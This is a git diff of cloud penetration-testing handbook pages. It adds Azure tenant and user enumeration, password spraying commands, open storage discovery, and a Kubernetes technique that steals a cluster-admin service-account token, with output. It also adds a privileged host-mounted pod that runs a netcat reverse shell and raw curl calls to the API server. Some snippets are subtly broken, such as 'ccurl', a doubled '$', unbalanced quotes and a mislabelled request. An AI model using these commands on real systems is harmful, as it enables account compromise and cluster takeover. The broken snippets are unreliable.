`)
-You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
+You can query all the information of an Azure tenant with **just one command from** [**AADInternals**](https://github.com/Gerenios/AADInternals):
-```powershell
+```bash
+# Doesn't work in macos because 'Resolve-DnsName' doesn't exist
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
-```
-Output Example of the Azure tenant info:
+## Output Example of the Azure tenant info:
-```
Tenant brand: Company Ltd
Tenant name: company
Tenant id: 1937e3ab-38de-a735-a830-3075ea7e5b39
@@ -44,6 +43,9 @@ Moreover, the output presents the names of all verified domains associated with
### User Enumeration
+> [!TIP]
+> Note that even if a tenant is using several emails for the same user, the **username is unique**. This means that it'll noly work with the domain the user has associated and not with the other domains.
+
It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format:
```
@@ -54,7 +56,7 @@ The email is user’s email address where at “@” is replaced with underscore
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
-```powershell
+```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -78,31 +80,39 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
-```powershell
+```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
-There are **three different enumeration methods** to choose from:
+Currenlty there are **4 different enumeration methods** to choose from. You can find information in `Get-Help Invoke-AADIntUserEnumerationAsOutsider`:
+
+It supports following enumeration methods: Normal, Login, Autologon, and RST2.
+
+- The **Normal** method seems currently work with all tenants. Previously it required Desktop SSO (aka Seamless SSO) to be enabled for at least one domain.
+
+- The **Login** method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events!
+
+- The **Autologon** method doesn't seem to work with all tenants anymore. Probably requires that DesktopSSO or directory sync is enabled.
-| Method | Description |
-| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Normal | This refers to the GetCredentialType API mentioned above. The default method. |
-| Login | This method tries to log in as the user.
Note: queries will be logged to sign-ins log.
|
-| Autologon | This method tries to log in as the user via autologon endpoint.
Queries are not logged to sign-ins log! As such, works well also for password spray and brute-force attacks.
|
After discovering the valid usernames you can get **info about a user** with:
-```powershell
+```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
-The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
+The script [**o365spray**](https://github.com/0xZDH/o365spray) also allows you to discover **if an email is valid**.
-```powershell
-# Put in emails.txt emails such as:
-# - root@corp.onmicrosoft.com
-python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
+```bash
+git clone https://github.com/0xZDH/o365spray
+cd o365spray
+python3 -m pip install -r requirements.txt
+
+# Check 1 email
+python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -u carlos
+# Check a list of emails
+python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -U /tmp/users.txt
```
**User Enumeration via Microsoft Teams**
@@ -113,10 +123,16 @@ The API of Microsoft Teams allows to search for users. In particular the "user s
Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.
-The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API.
+The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API but you need access to a user with Teams access to use it.
```bash
-python3 TeamsEnum.py -a password -u -f inputlist.txt -o teamsenum-output.json
+# Install
+git clone https://github.com/sse-secure-systems/TeamsEnum
+cd TeamsEnum
+python3 -m pip install -r requirements.txt
+
+# Login and ask for password
+python3 ./TeamsEnum.py -a password -u -f inputlist.txt -o teamsenum-output.json
```
Output:
@@ -192,58 +208,65 @@ Output:
}
```
-## Azure Services
-
-Know that we know the **domains the Azure tenant** is using is time to try to find **Azure services exposed**.
-
-You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
-
-```powershell
-Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
-Invoke-EnumerateAzureSubDomains -Base corp -Verbose
-```
-
-## Open Storage
-
-You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
-
-```powershell
-Import-Module .\MicroBurst\MicroBurst.psm1
-Invoke-EnumerateAzureBlobs -Base corp
-[...]
-https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
-[...]
-
-# Access https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
-# Check: ssh_info.json
-# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
-```
-
-### SAS URLs
-
-A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
-
-`https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
-
-Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
-
-## Compromise Credentials
-
-### Phishing
-
-- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
-- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
-
### Password Spraying / Brute-Force
{{#ref}}
az-password-spraying.md
{{#endref}}
+## Azure Services using domains
+
+It's also possible to try to find **Azure services exposed** in common azure subdomains like the ones documented in this [post:
+](https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/)
+
+- App Services: `azurewebsites.net`
+- App Services – Management: `scm.azurewebsites.net`
+- App Services: `p.azurewebsites.net`
+- App Services: `cloudapp.net`
+- Storage Accounts-Files: `file.core.windows.net`
+- Storage Accounts-Blobs: `blob.core.windows.net`
+- Storage Accounts-Queues: `queue.core.windows.net`
+- Storage Accounts-Tables: `table.core.windows.net`
+- Databases-Redis: `redis.cache.windows.net`
+- Databases-Cosmos DB: `documents.azure.com`
+- Databases-MSSQL: `database.windows.net`
+- Key Vaults: `vault.azure.net`
+- Microsoft Hosted Domain: `onmicrosoft.com`
+- Email: `mail.protection.outlook.com`
+- SharePoint: `sharepoint.com`
+- CDN: `azureedge.net`
+- Search Appliance: `search.windows.net`
+- API Services: `azure-api.net`
+
+You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure domains:**
+
+```bash
+Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
+Invoke-EnumerateAzureSubDomains -Base corp -Verbose
+```
+
+## Phishing
+
+- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) for credentials or via [OAuth Apps](az-oauth-apps-phishing.md)
+- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
+
+## Filesystem Credentials
+
+The **`az cli`** stores a lot of interesting information inside **`/.Azure`**:
+- **`azureProfile.json`** contains info about logged in users from the past
+- **`clouds.config`** contains info about subscriptions
+- **`service_principal_entries.json`** contains applications **credentials** (tenant id, clients and secret)
+- **`msal_token_cache.json`** contains **access tokens and refresh tokens**
+
+Note that in macOS and linux these files are **unprotected** stored in clear text.
+
+
+
## References
- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
+- [https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/](https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
index dd77cf968..191e8f367 100644
--- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
@@ -10,20 +10,21 @@ However, note that this technique is **very noisy** and Blue Team can **easily c
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
-```powershell
+```bash
+git clone https://github.com/dafthack/MSOLSpray
. .\MSOLSpray\MSOLSpray.ps1
-Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
+Invoke-MSOLSpray -UserList .\validemails.txt -Password 'Winter2025! -Verbose
```
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
```bash
-python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
+python3 o365spray.py --spray -U validemails.txt -p ''Winter2025!' --domain victim.com
```
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
-```powershell
+```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md
new file mode 100644
index 000000000..e52ae398b
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md
@@ -0,0 +1,48 @@
+# Az - Storage Unauth
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Storage Unauth
+
+For more information about storage check:
+
+{{#ref}}
+../az-services/az-storage.md
+{{#endref}}
+
+### Open Storage
+
+You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permutations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
+
+```bash
+Import-Module .\MicroBurst\MicroBurst.psm1
+Invoke-EnumerateAzureBlobs -Base corp
+[...]
+https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
+[...]
+
+# Access https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
+# Check: ssh_info.json
+# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
+```
+
+You can also use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure domains** (including storage domains):
+
+```bash
+Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
+Invoke-EnumerateAzureSubDomains -Base corp -Verbose
+```
+
+
+### SAS URLs
+
+A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
+
+`https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
+
+Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
+
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
similarity index 98%
rename from src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
rename to src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
index 553dcb03b..59bf2ebb7 100644
--- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
@@ -1,4 +1,4 @@
-# Az - VMs Unath
+# Az - VMs Unauth
{{#include ../../../banners/hacktricks-training.md}}
@@ -41,4 +41,3 @@ az vm extension image list --publisher "Site24x7" --output table
{{#include ../../../banners/hacktricks-training.md}}
-
diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
index ca277d590..f920bdd1a 100644
--- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
@@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se
curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/
```
+### Creating and Reading Secrets
+
+There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens.
+If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it:
+
+```yaml
+apiVersion: v1
+kind: Secret
+metadata:
+ name: stolen-admin-sa-token
+ namespace: default
+ annotations:
+ kubernetes.io/service-account.name: cluster-admin-sa
+type: kubernetes.io/service-account-token
+```
+
+Example exploitation:
+
+```bash
+$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
+
+$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
+Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
+Resources Non-Resource URLs Resource Names Verbs
+selfsubjectreviews.authentication.k8s.io [] [] [create]
+selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
+selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
+secrets [] [] [get create]
+ [/.well-known/openid-configuration/] [] [get]
+
+ [/version] [] [get]
+
+$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
+error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
+
+$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
+Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
+
+$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
+secret/stolen-admin-sa-token created
+
+$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
+{
+ "apiVersion": "v1",
+ "data": {
+ "ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FUUlRJRklDQVRFLS0tLS0K",
+ "namespace": "ZGVmYXVsdA==",
+ "token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkjYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
+ },
+ "kind": "Secret",
+ "metadata": {
+ "annotations": {
+ "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
+ "kubernetes.io/service-account.name": "cluster-admin-sa",
+ "kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
+ },
+ "creationTimestamp": "2025-01-11T13:02:27Z",
+ "name": "stolen-admin-sa-token",
+ "namespace": "default",
+ "resourceVersion": "1019116",
+ "uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
+ },
+ "type": "kubernetes.io/service-account-token"
+}
+```
+
+Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
+
+
### Reading a secret – brute-forcing token IDs
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
index af9bc743f..bb400387f 100644
--- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
@@ -535,6 +535,10 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
+## Interacting with the cluster without using kubectl
+
+Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**.
+
### Escaping from the pod
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
@@ -603,6 +607,241 @@ chroot /root /bin/bash
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
+### Creating a privileged pod
+
+The corresponding yaml file is as follows:
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+ name: everything-allowed-exec-pod
+ labels:
+ app: pentest
+spec:
+ hostNetwork: true
+ hostPID: true
+ hostIPC: true
+ containers:
+ - name: everything-allowed-pod
+ image: alpine
+ securityContext:
+ privileged: true
+ volumeMounts:
+ - mountPath: /host
+ name: noderoot
+ command: [ "/bin/sh", "-c", "--" ]
+ args: [ "nc -e sh" ]
+ #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
+ volumes:
+ - name: noderoot
+ hostPath:
+ path: /
+```
+
+Create the pod with curl:
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+
+curl --path-as-is -i -s -k -X $'POST' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'Accept: application/json' \
+ -H $'Content-Type: application/json' \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Content-Length: 478' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
+ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+### Delete a pod
+
+Delete a pod with curl:
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+POD_NAME="everything-allowed-exec-pod"
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Accept: application/json' \
+ -H $'Content-Type: application/json' \
+ -H $'Content-Length: 35' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
+```
+
+### Create a Service Account
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+
+curl --path-as-is -i -s -k -X $'POST' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'Content-Type: application/json' \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Accept: application/json' \
+ -H $'Content-Length: 109' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
+ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+
+### Delete a Service Account
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+SA_NAME=""
+NAMESPACE="default"
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'Accept: application/json' \
+ -H $'Content-Type: application/json' \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
+```
+
+
+### Create a Role
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+
+curl --path-as-is -i -s -k -X $'POST' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'Content-Type: application/json' \
+ -H $'Accept: application/json' \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Content-Length: 203' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
+ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+
+### Delete a Role
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+ROLE_NAME=""
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Accept: application/json' \
+ -H $'Content-Type: application/json' \
+ -H $'Content-Length: 35' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
+```
+
+
+### Create a Role Binding
+
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+curl --path-as-is -i -s -k -X $'POST' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'Accept: application/json' \
+ -H $'Content-Type: application/json' \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Content-Length: 816' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
+ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+### Delete a Role Binding
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+ROLE_BINDING_NAME=""
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Accept: application/json' \
+ -H $'Content-Type: application/json' \
+ -H $'Content-Length: 35' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
+```
+
+### Delete a Secret
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+curl --path-as-is -i -s -k -X $'POST' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Accept: application/json' \
+ -H $'Content-Type: application/json' \
+ -H $'Content-Length: 219' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
+ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+### Delete a Secret
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+SECRET_NAME=""
+
+ccurl --path-as-is -i -s -k -X $'DELETE' \
+ -H "Host: $CONTROL_PLANE_HOST" \
+ -H "Authorization: Bearer $TOKEN" \
+ -H $'Content-Type: application/json' \
+ -H $'Accept: application/json' \
+ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+ -H $'Content-Length: 35' \
+ -H $'Accept-Encoding: gzip, deflate, br' \
+ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
+```
+
+
+
## References
{{#ref}}
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 89f8bf1e6..d3eb7a659 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -397,7 +397,7 @@ storage:
Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell.
-```powershell
+```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
index 70a23998f..0faaa1928 100644
--- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
@@ -57,7 +57,7 @@ Note how the **refresh** **token** and the **password** of the user are **encryp
Powershell script to decrypt the refresh token and the password
-```powershell
+```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -167,7 +167,7 @@ I guess you could also find the AD configured credentials.
Dump config-manager.exe processes and search tokens
-```powershell
+```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
